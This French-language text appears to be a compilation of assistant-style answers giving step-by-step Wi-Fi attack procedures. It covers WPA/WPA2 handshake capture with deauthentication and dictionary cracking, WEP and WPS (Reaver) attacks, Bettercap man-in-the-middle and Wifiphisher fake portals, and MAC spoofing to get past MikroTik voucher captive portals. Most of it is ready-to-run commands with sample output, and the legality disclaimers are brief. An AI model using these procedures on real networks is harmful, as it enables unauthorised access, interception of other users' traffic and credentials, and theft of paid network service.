Voici un guide complet et structuré du processus de **pentesting d'un réseau Wi-Fi WPA/WPA2**,
couvrant les différentes étapes de la capture et du crack d'un handshake, y compris des solutions
pour les erreurs communes que tu pourrais rencontrer. Le cas des réseaux basés sur des systèmes
comme MikroTik ou utilisant des vouchers est également abordé à la fin.
### Prérequis :
Avant de commencer, assure-toi d'avoir la suite d'outils **aircrack-ng** installée ainsi que le fichier
de dictionnaire comme **rockyou.txt**.
```bash
sudo apt-get update && sudo apt-get install aircrack-ng
```
### 1. **Mettre l'interface réseau en mode moniteur**
Cela permet à la carte réseau de capturer tous les paquets autour, y compris ceux qui ne lui sont pas
destinés. Utilise `airmon-ng` pour cela.
#### Commande :
```bash
sudo airmon-ng start wlan0
```
#### Sortie potentielle :
- Ta carte réseau passe en mode moniteur, généralement renommée en **wlan0mon** ou
**mon0**.
- **Erreurs potentielles** :
Si tu as une erreur du type "processus en conflit", tue les processus avec cette commande :
```bash
sudo airmon-ng check kill
```
### 2. **Scanner les réseaux à proximité**
Tu dois maintenant identifier les réseaux cibles.
#### Commande :
```bash
sudo airodump-ng wlan0mon
```
#### Sortie potentielle :
- Une liste de réseaux disponibles, avec des colonnes **BSSID**, **ESSID**, **PWR**, **ENC**,
**CIPHER**, **AUTH**, etc.
- **Erreurs potentielles** : Si tu ne vois aucun réseau, assure-toi que ta carte est bien en mode
moniteur.
### 3. **Capturer les paquets pour un réseau cible**
Maintenant que tu as trouvé ton réseau cible (par exemple, avec le BSSID et le canal), tu peux
commencer à capturer les paquets sur ce réseau. La commande suivante permettra de cibler un
réseau spécifique.
#### Commande :
```bash
sudo airodump-ng --bssid [BSSID] --channel [channel] --write capture wlan0mon
```
- Remplace **[BSSID]** par le BSSID de la cible (exemple : `E0:E1:A9:75:41:21`).
- Remplace **[channel]** par le numéro de canal du réseau cible (exemple : `1`).
#### Sortie potentielle :
- Un fichier de capture est créé (ex. `capture-01.cap`).
- La liste des appareils connectés au réseau s'affichera sous la colonne **STATION**.
### 4. **Forcer la déconnexion d'un client (attaque de désauthentification)**
Si aucun client ne se connecte ou si le handshake n'est pas capturé automatiquement, tu peux forcer
la déconnexion d'un client pour qu'il se reconnecte et génère le handshake.
#### Commande :
```bash
sudo aireplay-ng --deauth 10 -a [BSSID] -c [client station] wlan0mon
```
- **[BSSID]** : BSSID du routeur.
- **[client station]** : Adresse MAC du client cible connecté.
#### Sortie potentielle :
- Le client devrait être déconnecté et se reconnecter, générant un handshake.
- **Problèmes courants** :
Si la déauthentification ne fonctionne pas, cela peut être dû à des restrictions au niveau de ta carte
réseau. Dans ce cas, essaie d'utiliser une autre carte compatible.
### 5. **Vérification de la capture du handshake**
Une fois que tu as laissé tourner `airodump-ng` pendant quelques instants, arrête-le avec **Ctrl+C**
et vérifie si tu as capturé le handshake.
#### Commande :
```bash
aircrack-ng capture-01.cap
```
#### Sortie potentielle :
- Si le handshake est capturé, la sortie inclura quelque chose comme :
**WPA handshake: [BSSID]**
- **Problèmes courants** :
Si tu ne vois pas cette ligne, relance l'attaque de désauthentification et patiente davantage.
### 6. **Cracker le mot de passe avec un dictionnaire**
Utilise un fichier de dictionnaire pour essayer de casser le handshake capturé. Le fichier `rockyou.txt`
est souvent utilisé, mais tu peux en utiliser un autre.
#### Commande :
```bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [BSSID] capture-01.cap
```
- **[BSSID]** : Le BSSID du réseau cible.
#### Sortie potentielle :
- Si le mot de passe est trouvé, il apparaîtra dans la sortie.
- **Erreurs potentielles** :
Si le fichier rockyou.txt n'existe pas, tu peux le décompresser ou utiliser un autre dictionnaire :
```bash
sudo gunzip /usr/share/wordlists/rockyou.txt.gz
```
### 7. **Générer ton propre dictionnaire si nécessaire**
Si le dictionnaire ne donne pas de résultats, tu peux générer un fichier de mots de passe personnalisé
avec **Crunch**.
#### Commande :
```bash
crunch 8 12 abcdefghijklmnopqrstuvwxyz1234567890 -o mywordlist.txt
```
- **8 12** : longueur minimale et maximale des mots de passe.
### Cas Spécifique : MikroTik et Vouchers
#### A. **MicroTik**
Si tu attaques un réseau MikroTik qui utilise des clés WPA2 standard, le processus reste le même.
Toutefois, si le réseau utilise un mécanisme d'authentification via des vouchers (comme un hotspot
avec un portail captif), la capture d'un handshake ne te permettra pas de casser le réseau. Dans ce
cas, il faut :
- Capturer le trafic entre un client et le portail captif.
- Analyser les échanges HTTP/HTTPS pour tenter de récupérer les identifiants ou de contourner
l'authentification (en fonction de la configuration du portail).
#### B. **Réseaux avec Voucher**
Les réseaux protégés par des vouchers ne reposent pas uniquement sur un handshake WPA, donc tu
auras besoin de capturer et analyser les paquets réseau et éventuellement utiliser un proxy HTTP
pour intercepter les échanges du portail captif.
### Conclusion
En suivant ces étapes, tu devrais être en mesure de capturer et craquer un handshake WPA/WPA2
pour un réseau Wi-Fi. N'oublie pas que toute utilisation de ces outils à des fins non autorisées est
illégale et peut entraîner des sanctions sévères.
Pour forcer la déconnexion d'un client d'un réseau Wi-Fi afin de capturer un **handshake
WPA/WPA2**, il est effectivement nécessaire de connaître l'adresse MAC (aussi appelée **station**
ou **client MAC**) du périphérique connecté au réseau cible.
Voici comment obtenir cette adresse MAC et utiliser l'attaque de désauthentification :
### Étapes détaillées pour identifier les **stations (clients)** connectés et capturer le
**handshake** :
---
#### 1. **Mise en place du mode moniteur**
Avant de pouvoir voir les clients connectés à un réseau, il est impératif de mettre ta carte Wi-Fi en
**mode moniteur**.
```bash
sudo airmon-ng start wlan0
```
Cela va transformer ton interface **wlan0** en **wlan0mon** (le nom de ton interface peut
varier).
---
#### 2. **Scanner les réseaux et identifier le BSSID**
Ensuite, utilise la commande **airodump-ng** pour scanner les réseaux environnants et identifier
celui que tu veux cibler (ton réseau Wi-Fi cible).
```bash
sudo airodump-ng wlan0mon
```
Cette commande va afficher une liste des réseaux, avec leur **BSSID**, le **canal** (CH), le **type
de chiffrement** (WPA/WPA2, etc.), et d'autres informations comme le nom du réseau (**ESSID**).
#### Exemple de sortie :
```
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
--------------------------------------------------------------------------------
E0:E1:A9:75:41:21 -37 2435 5860 1 130 WPA2 CCMP PSK wifiHome
```
- **BSSID** : C'est l'adresse MAC du routeur ou point d'accès. Par exemple : `E0:E1:A9:75:41:21`
- **CH** : Le canal du réseau, ici 1.
- **ESSID** : Le nom du réseau, ici "wifiHome".
---
#### 3. **Observer les stations (clients) connectées au réseau**
Maintenant que tu as le **BSSID** et le **canal** du réseau cible, tu peux observer les **stations**
(clients connectés) en affinant le scan uniquement sur ce réseau. Tu dois spécifier le BSSID et le canal
correspondant.
```bash
sudo airodump-ng --bssid [BSSID] --channel [CH] wlan0mon
```
Remplace `[BSSID]` par l'adresse MAC du routeur et `[CH]` par le canal. Par exemple :
```bash
sudo airodump-ng --bssid E0:E1:A9:75:41:21 --channel 1 wlan0mon
```
#### Sortie potentielle :
```
BSSID STATION PWR Rate Lost Frames Notes
-------------------------------------------------------------------------------
E0:E1:A9:75:41:21 8C:45:00:17:B3:33 -68 0 - 1 0 208 EAPOL
E0:E1:A9:75:41:21 92:FE:A5:FD:B5:46 -22 1e-11 1193 8741
```
- **BSSID** : L'adresse MAC du routeur.
- **STATION** : L'adresse MAC des **clients** connectés au routeur. Par exemple :
`8C:45:00:17:B3:33`.
- **EAPOL** : Une indication qu'un handshake pourrait avoir été capturé.
> **Remarque** : Si des clients sont connectés, tu verras leurs **adresses MAC** sous la colonne
**STATION**. Si aucun client n'est connecté, tu ne verras rien dans cette section.
---
#### 4. **Forcer la déconnexion d'un client (attaque de désauthentification)**
Maintenant que tu as identifié une station (un client), tu peux tenter de la **déconnecter** pour
capturer un handshake lorsque le client va essayer de se reconnecter.
```bash
sudo aireplay-ng --deauth 10 -a [BSSID] -c [STATION] wlan0mon
```
- **[BSSID]** : Adresse MAC du point d'accès (routeur).
- **[STATION]** : Adresse MAC du client (station) que tu veux déconnecter.
Par exemple :
```bash
sudo aireplay-ng --deauth 10 -a E0:E1:A9:75:41:21 -c 8C:45:00:17:B3:33 wlan0mon
```
Cette commande enverra 10 paquets de déauthentification au client ciblé (`8C:45:00:17:B3:33`), et
celui-ci devrait se reconnecter, générant un **handshake**.
---
#### 5. **Vérification du handshake**
Pendant que tu effectues la déauthentification, assure-toi que **airodump-ng** continue de
capturer les paquets. Tu pourras vérifier si le handshake a bien été capturé dans la colonne des notes
(EAPOL).
Pour vérifier le fichier de capture ensuite :
```bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [BSSID] capture-01.cap
```
Si le handshake a été capturé, **aircrack-ng** tentera de casser le mot de passe en utilisant un
dictionnaire comme `rockyou.txt`.
--------------------------------------------------------------------------------------------------------------------------------
Pour effectuer un **pentest** sur une **box MikroTik** avec un mécanisme de sécurité
WPA/WPA2 ou basé sur des **vouchers** (portail captif), voici les étapes adaptées que tu peux
suivre avec **Kali Linux** :
### Cas 1 : **Pentest sur une Box MikroTik avec WPA2**
Si ta box MikroTik utilise simplement une clé **WPA/WPA2-PSK**, tu peux procéder de la même
manière que pour un réseau WPA/WPA2 standard. Voici les étapes :
#### 1. **Mettre l'interface en mode moniteur**
Comme dans le cas d'un réseau WPA classique, mets ta carte Wi-Fi en mode moniteur.
```bash
sudo airmon-ng start wlan0
```
#### 2. **Scanner les réseaux à proximité**
Repère la box MikroTik en identifiant son **BSSID** et son canal.
```bash
sudo airodump-ng wlan0mon
```
#### 3. **Capturer le handshake WPA2**
Utilise la commande suivante pour capturer les paquets sur le réseau cible.
```bash
sudo airodump-ng --bssid [BSSID] --channel [channel] --write capture wlan0mon
```
- **[BSSID]** : BSSID du réseau MikroTik.
- **[channel]** : Le canal du réseau.
#### 4. **Effectuer une attaque de désauthentification (aireplay-ng)**
Si aucun client ne se déconnecte, force une déconnexion pour capturer un handshake.
```bash
sudo aireplay-ng --deauth 10 -a [BSSID] wlan0mon
```
#### 5. **Vérification du handshake**
Une fois le handshake capturé, utilise **aircrack-ng** pour essayer de casser le mot de passe.
```bash
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [BSSID] capture-01.cap
```
Si tu captures un **WPA handshake**, la procédure de cracking est similaire à un réseau WPA2
classique.
---
### Cas 2 : **Pentest sur un MikroTik avec un portail captif (voucher)**
Si ta box MikroTik utilise un **portail captif** ou un système de **voucher** pour l'accès au réseau,
tu dois adopter une approche différente. Voici le processus à suivre :
#### 1. **Scanner les réseaux et repérer le portail captif**
Commence par scanner les réseaux à proximité pour identifier le réseau MikroTik et capturer le trafic
entre un appareil client et le routeur.
```bash
sudo airodump-ng wlan0mon
```
Une fois que tu as identifié le réseau avec le portail captif :
#### 2. **Capturer le trafic réseau**
Tu dois capturer les échanges réseau entre un client qui se connecte et le portail captif. Utilise
**Wireshark** ou **tcpdump** pour analyser les paquets.
- **Avec tcpdump** :
```bash
sudo tcpdump -i wlan0mon -w capture_portail.pcap
```
- **Avec Wireshark** :
Lance Wireshark et sélectionne **wlan0mon** comme interface d'écoute. Filtre les paquets avec
des expressions comme `http` ou `dns` pour isoler les échanges utiles.
#### 3. **Analyser les échanges du portail captif**
- Ouvre le fichier de capture dans **Wireshark** et analyse les requêtes HTTP ou HTTPS. Souvent, les
identifiants de voucher ou les sessions non sécurisées peuvent être interceptées.
- Recherche les **cookies de session** ou les échanges de données en clair qui pourraient être
exploités.
#### 4. **Tentative d'attaque Man-in-the-Middle (MITM)**
Dans le cadre d'un portail captif, il est souvent utile d'utiliser une attaque **Man-in-the-Middle**
pour intercepter les données. Utilise des outils comme **ettercap** ou **Bettercap** pour cela.
- **Commande avec Bettercap** :
```bash
sudo bettercap -iface wlan0mon
```
Utilise ensuite les modules de **sniffing** ou d'**HTTP proxy** de Bettercap pour capturer les
données échangées par les utilisateurs sur le portail captif.
#### 5. **Éviter l'authentification du portail captif**
Une fois que tu as capturé le trafic, tu peux :
- Essayer de trouver les identifiants du **voucher** dans les échanges HTTP/HTTPS.
- Simuler une authentification automatique si tu as réussi à capturer les **cookies** de session ou
les jetons d'accès.
### Autres outils utiles :
- **Wifiphisher** : Cet outil est efficace pour mener des attaques de type **phishing** sur des
réseaux Wi-Fi avec des portails captifs. Il crée un faux portail captif et force les utilisateurs à saisir
leurs identifiants.
```bash
sudo wifiphisher -i wlan0mon
```
---
### Conclusion
Dans le cas d'un réseau MikroTik :
- **WPA/WPA2** : Suis les étapes classiques pour capturer et casser le handshake avec **aircrack-
ng**.
- **Portail captif (voucher)** : Capture et analyse le trafic avec **Wireshark**, **tcpdump** ou un
MITM pour essayer de récupérer les identifiants ou contourner l'authentification.
L'utilisation de ces techniques pour pénétrer un réseau sans autorisation est illégale dans la plupart
des pays. Utilise-les seulement dans un cadre **légal** pour des tests de sécurité sur des réseaux
que tu possèdes ou pour lesquels tu as l'autorisation de procéder à un pentest.
----------------------------------------------exo chfr-------------------------------------------------------------------
Voici un guide détaillé pour les attaques de **pentesting** sur différents types de réseaux Wi-Fi,
comme **WEP**, **WPS**, **TKIP**, et **WPA2 avec TKIP ou AES**. Chaque protocole de
sécurité possède des vulnérabilités distinctes, et les commandes pour les exploiter diffèrent. Je vais
te présenter les étapes pour chaque type de réseau, avec les outils adéquats et les sorties
potentielles.
### 1. **Réseau WEP**
Le protocole WEP (Wired Equivalent Privacy) est très vulnérable et peut être cassé relativement
rapidement à l'aide de **aircrack-ng**. L'idée est de capturer un grand nombre de paquets et de
récupérer le **IV** (Initialization Vector) utilisé par le WEP pour chiffrer les paquets.
#### Commandes pour l'attaque WEP
**1.1. Mise en mode moniteur**
```bash
sudo airmon-ng start wlan0
```
**1.2. Capture des paquets WEP**
Ensuite, on utilise **airodump-ng** pour capturer les paquets sur le réseau WEP cible :
```bash
sudo airodump-ng --bssid [BSSID] --channel [CH] --write capture_wep wlan0mon
```
Remplace `[BSSID]` par l'adresse MAC du routeur et `[CH]` par le canal. Par exemple :
```bash
sudo airodump-ng --bssid 00:14:6C:7E:40:80 --channel 6 --write capture_wep wlan0mon
```
**1.3. Injection de paquets ARP pour accélérer la collecte de paquets**
Utilise **aireplay-ng** pour injecter des paquets ARP dans le réseau et ainsi générer plus de trafic,
ce qui permet d’accélérer la collecte de paquets.
```bash
sudo aireplay-ng --arpreplay -b [BSSID] wlan0mon
```
**1.4. Casser la clé WEP**
Une fois que tu as suffisamment de paquets (au moins 20 000 pour un WEP 64 bits ou plus pour un
WEP 128 bits), utilise **aircrack-ng** pour casser la clé WEP.
```bash
sudo aircrack-ng capture_wep-01.cap
```
#### Sortie potentielle :
```bash
KEY FOUND! [ 12:34:56:78:90 ]
```
---
### 2. **Réseau WPS (Wi-Fi Protected Setup)**
Le WPS est une méthode simplifiée pour connecter des appareils à un réseau Wi-Fi. Il existe une
vulnérabilité dans l'implémentation du WPS qui permet une attaque par force brute.
#### Commandes pour l'attaque WPS
**2.1. Mise en mode moniteur**
```bash
sudo airmon-ng start wlan0
```
**2.2. Scan des réseaux avec WPS activé**
Utilise **wash** pour détecter les réseaux avec WPS activé :
```bash
sudo wash -i wlan0mon
```
Cette commande va lister les réseaux avec WPS activé.
**2.3. Attaque par force brute avec Reaver**
Une fois que tu as trouvé un réseau avec WPS activé, utilise **Reaver** pour lancer une attaque par
force brute du **PIN WPS**.
```bash
sudo reaver -i wlan0mon -b [BSSID] -vv
```
Remplace `[BSSID]` par l'adresse MAC du point d'accès cible. Par exemple :
```bash
sudo reaver -i wlan0mon -b 00:11:22:33:44:55 -vv
```
#### Sortie potentielle :
```bash
[+] WPS PIN: '12345670'
[+] WPA PSK: 'mypassword'
[+] AP SSID: 'wifiHome'
```
---
### 3. **Réseau WPA/WPA2 avec TKIP**
TKIP (Temporal Key Integrity Protocol) est un protocole de chiffrement qui a été introduit comme
une solution temporaire avant l'arrivée d'AES. Bien que plus sécurisé que WEP, il reste vulnérable à
certaines attaques.
#### Commandes pour l'attaque WPA/WPA2 TKIP
L'attaque WPA/WPA2 avec TKIP est similaire à celle de WPA/WPA2 avec AES. Le but est de capturer
un **handshake** et de casser le mot de passe.
**3.1. Mise en mode moniteur**
```bash
sudo airmon-ng start wlan0
```
**3.2. Capture des paquets**
Utilise **airodump-ng** pour surveiller le réseau et capturer les paquets.
```bash
sudo airodump-ng --bssid [BSSID] --channel [CH] --write capture_tkip wlan0mon
```
Par exemple :
```bash
sudo airodump-ng --bssid 00:11:22:33:44:55 --channel 6 --write capture_tkip wlan0mon
```
**3.3. Désauthentification pour forcer un handshake**
Utilise **aireplay-ng** pour déconnecter un client et forcer un handshake.
```bash
sudo aireplay-ng --deauth 10 -a [BSSID] -c [STATION] wlan0mon
```
**3.4. Casser le handshake**
Ensuite, utilise **aircrack-ng** pour tenter de casser le mot de passe :
```bash
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [BSSID] capture_tkip-01.cap
```
#### Sortie potentielle :
```bash
Passphrase not in dictionary!
OR
KEY FOUND! [ MySuperPassword ]
```
---
### 4. **Réseau WPA/WPA2 avec AES (CCMP)**
C'est la configuration standard des réseaux WPA2 aujourd'hui. L'attaque repose sur la capture d'un
handshake, puis l'utilisation d'un dictionnaire pour casser le mot de passe.
#### Commandes pour l'attaque WPA2 AES
L'attaque WPA2 AES suit le même processus que pour WPA2 TKIP. La différence réside dans
l'utilisation d'**AES** comme algorithme de chiffrement, qui est plus sécurisé que TKIP.
**4.1. Mise en mode moniteur**
```bash
sudo airmon-ng start wlan0
```
**4.2. Capture des paquets**
Utilise **airodump-ng** pour capturer les paquets et observer les clients connectés.
```bash
sudo airodump-ng --bssid [BSSID] --channel [CH] --write capture_aes wlan0mon
```
**4.3. Désauthentification pour forcer un handshake**
Utilise **aireplay-ng** pour envoyer des paquets de déauthentification et capturer un handshake :
```bash
sudo aireplay-ng --deauth 10 -a [BSSID] -c [STATION] wlan0mon
```
**4.4. Casser le mot de passe**
Une fois le handshake capturé, utilise **aircrack-ng** avec un dictionnaire :
```bash
sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt -b [BSSID] capture_aes-01.cap
```
---
### 5. **Attaque sur un routeur MikroTik ou basé sur des vouchers**
Pour les routeurs MikroTik ou ceux utilisant un portail captif basé sur des **vouchers** (codes
d'accès temporaires), l'approche change. Ces réseaux ne sont pas directement cassables par des
attaques classiques comme celles décrites ci-dessus, car le portail captif limite l'accès.
#### Méthodes de pentesting pour ces réseaux :
1. **Attaque MITM (Man-in-the-Middle)** :
- Mettre en place un point d'accès malveillant pour capturer les données lorsque les utilisateurs se
connectent au portail captif.
**Outils** : **ettercap**, **Bettercap**, **Wireshark**.
2. **Bypass du portail captif** :
- Essayer de contourner le portail captif à travers des failles connues comme :
- L'accès aux pages internes du réseau.
- Injection de scripts.
**Outils** : Naviguer manuellement pour explorer des failles, outils comme **Burp Suite** pour
analyser le trafic HTTP.
---
### Conclusion
Chaque type de sécurité Wi-Fi a ses vulnérabilités propres, et les outils comme **aircrack-ng**,
**Reaver**, et **aireplay-ng** permettent d'exploiter ces failles. Toutefois, les attaques réussies
nécessitent souvent de la patience, la connaissance des réseaux cibles, et l'utilisation d'un bon
dictionnaire pour casser les mots de passe.
Les réseaux basés sur des **vouchers** ou **portails captifs** nécessitent une approche différente,
souvent centrée sur des attaques de type **MITM** ou la découverte de failles dans le portail captif.
--------------------------------------------------------usurp-------------------
L'usurpation d'adresse MAC est une technique qui permet de contourner des portails captifs en
prenant l'adresse MAC d'un appareil déjà authentifié sur le réseau. Le principe repose sur le fait que
les portails captifs utilisent souvent l'adresse MAC pour identifier les utilisateurs connectés, donc en
imitant une adresse MAC légitime, on peut potentiellement accéder au réseau sans authentification.
### Étapes de l'usurpation d'adresse MAC sur un portail captif
Voici le processus détaillé pour contourner un portail captif via l'usurpation d'adresse MAC.
### 1. Prérequis
- **Kali Linux** ou une distribution Linux avec les outils réseau nécessaires (comme **aircrack-ng**,
**macchanger**, et **ifconfig**).
- Une interface réseau Wi-Fi prenant en charge le mode monitor.
- Un réseau à contourner avec un portail captif.
### 2. Écouter le trafic réseau pour identifier une adresse MAC légitime
La première étape consiste à écouter le trafic réseau pour repérer les appareils déjà connectés au
réseau. Ces appareils sont déjà authentifiés sur le portail captif.
#### 2.1. Passer l'interface réseau en mode monitor
Le mode monitor permet à ta carte réseau de capturer tout le trafic sur le réseau Wi-Fi à portée.
Utilise la commande suivante pour passer en mode monitor :
```bash
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up
```
Assure-toi de remplacer `wlan0` par l'interface correcte de ta carte Wi-Fi.
#### 2.2. Utiliser **airodump-ng** pour capturer le trafic
L'outil **airodump-ng** permet de capturer les paquets et d'afficher les adresses MAC des clients
connectés à un point d'accès.
Lance la commande suivante pour commencer à capturer les paquets :
```bash
sudo airodump-ng wlan0
```
Cela affichera une liste des réseaux disponibles. Repère le réseau avec le portail captif auquel tu
souhaites te connecter et note le **BSSID** (l'adresse MAC du point d'accès) ainsi que le **canal**
sur lequel il émet.
#### 2.3. Scanner les appareils connectés à un réseau spécifique
Une fois que tu as le BSSID et le canal du réseau cible, utilise **airodump-ng** pour scanner
uniquement ce réseau. Cela te permettra de voir les appareils connectés à ce réseau.
```bash
sudo airodump-ng --bssid [BSSID] --channel [canal] wlan0
```
Remplace `[BSSID]` par l'adresse MAC du point d'accès et `[canal]` par le canal sur lequel il émet. Cela
affichera les adresses MAC des clients connectés à ce réseau dans la colonne **Station**.
Repère l'adresse MAC d'un appareil qui semble déjà être authentifié sur le portail captif.
### 3. Usurper l'adresse MAC
Maintenant que tu as identifié l'adresse MAC d'un appareil légitime, tu peux usurper cette adresse
pour accéder au réseau en suivant ces étapes.
#### 3.1. Désactiver l'interface Wi-Fi
Avant de changer l'adresse MAC, il est nécessaire de désactiver l'interface Wi-Fi.
```bash
sudo ifconfig wlan0 down
```
#### 3.2. Changer l'adresse MAC avec **macchanger**
L'outil **macchanger** permet de changer facilement l'adresse MAC de ton interface réseau.
Installe **macchanger** s'il n'est pas déjà installé :
```bash
sudo apt-get install macchanger
```
Ensuite, utilise la commande suivante pour usurper l'adresse MAC de l'appareil authentifié :
```bash
sudo macchanger -m [adresse MAC] wlan0
```
Remplace `[adresse MAC]` par l'adresse MAC que tu as repérée dans **airodump-ng**.
#### 3.3. Réactiver l'interface Wi-Fi
Après avoir changé l'adresse MAC, réactive l'interface réseau :
```bash
sudo ifconfig wlan0 up
```
### 4. Connexion au réseau
Maintenant que ton adresse MAC correspond à celle d'un appareil déjà authentifié, tu peux essayer
de te connecter au réseau captif. Si tout fonctionne bien, tu devrais avoir accès à Internet sans être
redirigé vers le portail captif.
### 5. Vérifications et ajustements
- **Si ça ne fonctionne pas immédiatement**, il se peut que le réseau capte une déconnexion
soudaine du véritable appareil avec cette adresse MAC. Dans ce cas, attends quelques minutes que
l'appareil réel soit inactif ou hors ligne avant de réessayer.
- Si tu es redirigé vers le portail captif, il se peut que d'autres vérifications soient en place, comme
une vérification de l'adresse IP. Dans ce cas, il peut être utile de définir manuellement une adresse IP
statique qui correspond à la plage IP des appareils déjà connectés.
### Résumé des commandes
Voici un récapitulatif des commandes que tu utiliseras pour usurper l'adresse MAC et contourner un
portail captif :
1. **Passer en mode monitor :**
```bash
sudo ifconfig wlan0 down
sudo iwconfig wlan0 mode monitor
sudo ifconfig wlan0 up
```
2. **Scanner les réseaux :**
```bash
sudo airodump-ng wlan0
```
3. **Scanner un réseau spécifique :**
```bash
sudo airodump-ng --bssid [BSSID] --channel [canal] wlan0
```
4. **Désactiver l'interface Wi-Fi :**
```bash
sudo ifconfig wlan0 down
```
5. **Changer l'adresse MAC :**
```bash
sudo macchanger -m [adresse MAC] wlan0
```
6. **Réactiver l'interface Wi-Fi :**
```bash
sudo ifconfig wlan0 up
```
